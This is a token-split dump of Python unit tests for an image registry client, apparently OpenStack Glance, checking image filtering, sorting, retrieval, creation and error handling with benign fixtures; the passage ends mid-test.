"\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Check", " ", "a", " ", "standard", " ", "list", ",", " ", "4", " ", "images", " ", "in", " ", "db", " ", "(", "2", " ", "delete", "d", ")_", "\\u\\u\\uNL\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images", "\\u", "detailed", "_", "(_", "filters_", "=_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "images_", "[_", "0_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "images_", "[_", "1_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Expect", " ", "3", " ", "images", " ", "(", "1", " ", "delete", "d", ")_", "\\u\\u\\uNL\\u\\u\\u_", "filters_", "=_", "{_", "'", "change", "s", "-", "sinc", "e", "'_", ":_", "iso", "1_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images_", "(_", "filters_", "=_", "filters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "images_", "[_", "0_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "images_", "[_", "1_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "3_", ")_", "#", " ", "deleted_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "images_", "[_", "2_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Expect", " ", "1", " ", "images", " ", "(", "0", " ", "delete", "d", ")_", "\\u\\u\\uNL\\u\\u\\u_", "filters_", "=_", "{_", "'", "change", "s", "-", "sinc", "e", "'_", ":_", "iso", "2_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images", "\\u", "detailed", "_", "(_", "filters_", "=_", "filters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "images_", "[_", "0_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Expect", " ", "0", " ", "images", " ", "(", "0", " ", "delete", "d", ")_", "\\u\\u\\uNL\\u\\u\\u_", "filters_", "=_", "{_", "'", "change", "s", "-", "sinc", "e", "'_", ":_", "iso", "4_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images_", "(_", "filters_", "=_", "filters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "deta", "il", "s", "\\u", "with", "\\u", "change", "s", "\\u", "since_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "tha", "t", " ", "a", " ", "detailed", " ", "call", " ", "can", " ", "be", " ", "filter", "ed", " ", "by", " ", "change", "s", "-", "sinc", "e", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "saving", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "123", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "20_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images", "\\u", "detailed", "_", "(_", "filters_", "=_", "{_", "'", "size", "\\u", "min", "'_", ":_", "20_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "image_", "in_", "images_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "image_", "[_", "'", "size", "'_", "]_", ">=_", "20_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "deta", "il", "s", "\\u", "by", "\\u", "property_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "tha", "t", " ", "a", " ", "detailed", " ", "call", " ", "can", " ", "be", " ", "filter", "ed", " ", "by", " ", "a", " ", "property", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "saving", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "123", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "proper", "ties", "'_", ":_", "{_", "'", "p", " ", "a", "'_", ":_", "'", "v", " ", "a", "'_", "}_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "filters_", "=_", "{_", "'", "property", "-", "p", " ", "a", "'_", ":_", "'", "v", " ", "a", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images", "\\u", "detailed", "_", "(_", "filters_", "=_", "filters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "image_", "in_", "images_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equals_", "(_", "'", "v", " ", "a", "'_", ",_", "image_", "[_", "'", "proper", "ties", "'_", "]_", "[_", "'", "p", " ", "a", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "deta", "il", "s", "\\u", "sort", "\\u", "disk", "\\u", "format\\u", "asc_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", "s", " ", "tha", "t", " ", "a", " ", "detailed", " ", "call", " ", "return", "s", " ", "list", " ", "of", "\\", "10", ";", " ", " ", " ", " ", "public", " ", "images", " ", "sorte", "d", " ", "alphabetic", "ally", " ", "by", " ", "disk", "\\u", "format", " ", "in", "\\", "10", ";", " ", " ", " ", " ", "ascen", "ding", " ", "order", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "UU", "ID", "3_", "=_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "UU", "ID", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "active", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "ami", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ami", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "asd", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "UU", "ID", "4_", "=_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "UU", "ID", "4_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "active", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vdi", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "xyz", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "20_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images", "\\u", "detailed", "_", "(_", "sort", "\\u", "key_", "=_", "'", "disk", "\\u", "format", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "sort", "\\u", "dir_", "=_", "'", "asc", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "images_", "[_", "0_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "images_", "[_", "1_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "images_", "[_", "2_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "tha", "t", " ", "the", " ", "detailed", " ", "info", " ", "abo", "ut", " ", "an", " ", "image", " ", "return", "ed", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "UU", "ID", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "fake", " ", "image", " ", "#", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "ami", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ami", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "active", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "13_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "proper", "ties", "'_", ":_", "{_", "'", "type", "'_", ":_", "'", "kernel", "'_", "}_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "self_", "._", "client_", "._", "get", "\\u", "image_", "(_", "UU", "ID", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "k_", ",_", "v_", "in_", "fixture_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "el_", "=_", "data_", "[_", "k_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "v_", ",_", "data_", "[_", "k_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Fail", "ed", " ", "v", " ", "!=", " ", "data", "[", "k", "]", " ", "where", " ", "v", " ", "=", " ", "%", "(", "v", ")", "s", " ", "and", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "k", " ", "=", " ", "%", "(", "k", ")", "s", " ", "and", " ", "data", "[", "k", "]", " ", "=", " ", "%", "(", "el", ")", "s", "\"_", "%_", "locals_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "non", "\\u", "existing_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "tha", "t", " ", "Not", "Foun", "d", " ", "is", " ", "raise", "d", " ", "whe", "n", " ", "getti", "ng", " ", "a", " ", "non", "-", "exist", "ing", " ", "image", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "exception_", "._", "Not", "Found_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "client_", "._", "get", "\\u", "image_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "add", "\\u", "image", "\\u", "basic_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "tha", "t", " ", "we", " ", "can", " ", "add", " ", "image", " ", "metadata", " ", "and", " ", "return", "s", " ", "the", " ", "new", " ", "id", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fixture_", "=_", "{_", "'", "name", "'_", ":_", "'", "fake", " ", "public", " ", "image", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vmd", "k", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "new", "\\u", "image_", "=_", "self_", "._", "client_", "._", "add", "\\u", "image_", "(_", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "all", " ", "other", " ", "attribute", "s", " ", "set_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "self_", "._", "client_", "._", "get", "\\u", "image_", "(_", "new", "\\u", "image_", "[_", "'", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "k_", ",_", "v_", "in_", "fixture_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equals_", "(_", "v_", ",_", "data_", "[_", "k_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "status", " ", "was", " ", "update", "d", " ", "proper", "ly_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "status", "'_", "in_", "data_", "._", "keys_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "'", "active", "'_", ",_", "data_", "[_", "'", "status", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "add", "\\u", "image", "\\u", "with", "\\u", "properties_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "tha", "t", " ", "we", " ", "can", " ", "add", " ", "image", " ", "metadata", " ", "with", " ", "proper", "ties", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fixture_", "=_", "{_", "'", "name", "'_", ":_", "'", "fake", " ", "public", " ", "image", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vmd", "k", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "location", "'_", ":_", "\"", "file", ":///", "tmp", "/", "gla", "nce", "-", "tests", "/", "2", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "proper", "ties", "'_", ":_", "{_", "'", "distr", "o", "'_", ":_", "'", "Ub", "unt", "u", " ", "10.", "04", " ", "LT", "S", "'_", "}_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "new", "\\u", "image_", "=_", "self_", "._", "client_", "._", "add", "\\u", "image_", "(_", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "del_", "fixture_", "[_", "'", "location", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "k_", ",_", "v_", "in_", "fixture_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equals_", "(_", "v_", ",_", "new", "\\u", "image_", "[_", "k_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "status", " ", "was", " ", "update", "d", " ", "proper", "ly_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "status", "'_", "in_", "new", "\\u", "image_", "._", "keys_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "'", "active", "'_", ",_", "new", "\\u", "image_", "[_", "'", "status", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "add", "\\u", "image", "\\u", "alr", "ead", "y", "\\u", "exists_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "proper", " ", "exception", " ", "is", " ", "raise", "d", " ", "if", " ", "image", " ", "with", " ", "ID", " ", "alr", "ead", "y", " ", "exist", "s", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "UU", "ID", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "fake", " ", "public", " ", "image", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vmd", "k", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "location", "'_", ":_", "\"", "file", ":///", "tmp", "/", "gla", "nce", "-", "tests", "/", "2", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "exception_", "._", "Duplicate", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "client_", "._", "add", "\\u", "image_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "add", "\\u", "image", "\\u", "with", "\\u", "bad", "\\u", "status_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "proper", " ", "exception", " ", "is", " ", "raise", "d", " ", "if", " ", "a", " ", "bad", " ", "status", " ", "is", " ", "set", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fixture_", "=_", "{_", "'", "name", "'_", ":_", "'", "fake", " ", "public", " ", "image", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vmd", "k", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "bad", " ", "status", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "location", "'_", ":_", "\"", "file", ":///", "tmp", "/", "gla", "nce", "-", "tests", "/", "2", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "exception_", "._", "Invalid_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "client_", "._", "add", "\\u", "image_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "update", "\\u", "image_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "tha", "t", " ", "the", " ", "/", "images", " ", "PU", "T", " ", "registr", "y", " ", "API", " ", "update", "s", " ", "the", " ", "image", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fixture_", "=_", "{_", "'", "name", "'_", ":_", "'", "fake", " ", "public", " ", "image", " ", "#", "2", "'_", ",_", 